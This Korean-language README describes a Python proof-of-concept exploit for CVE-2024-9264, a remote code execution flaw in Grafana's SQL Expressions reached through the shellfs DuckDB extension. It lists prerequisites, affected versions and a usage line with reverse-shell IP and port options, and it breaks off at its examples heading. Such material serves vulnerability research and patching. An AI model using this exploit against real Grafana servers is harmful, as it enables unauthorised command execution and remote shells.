Grafana의 SQL Expressions를 통한 CVE-2024-9264-RCE-Exploit

Description

Grafana의 원격 코드 실행(RCE)에 대한 개념 증명 (CVE-2024-9264)

이 저장소에는 Grafana의 SQL Expressions 기능의 원격 코드 실행(RCE) 취약점을 악용하는 Python 스크립트가 포함되어 있습니다. 불충분한 입력 검증을 악용하여, 이 익스플로잇은 공격자가 서버에서 임의의 셸 명령을 실행할 수 있게 합니다. 이는 공격자가 명령 실행을 용이하게 하기 위해 설치하고 로드할 수 있는 shellfs 커뮤니티 확장 기능을 통해 가능합니다.

사전 요구 사항

• Viewer 이상의 권한을 가진 인증된 Grafana 사용자
• DuckDB 바이너리가 설치되어 있어야 하며 Grafana의 PATH에서 접근 가능해야 합니다.

영향을 받는 버전

Grafana >= v11.0.0 (모든 v11.x.y 버전이 영향 받음)

사용법

python3 poc.py [--url <target>] [--username <username>] [--password <password>] [--reverse-ip <IP>] [--reverse-port <PORT>]

예제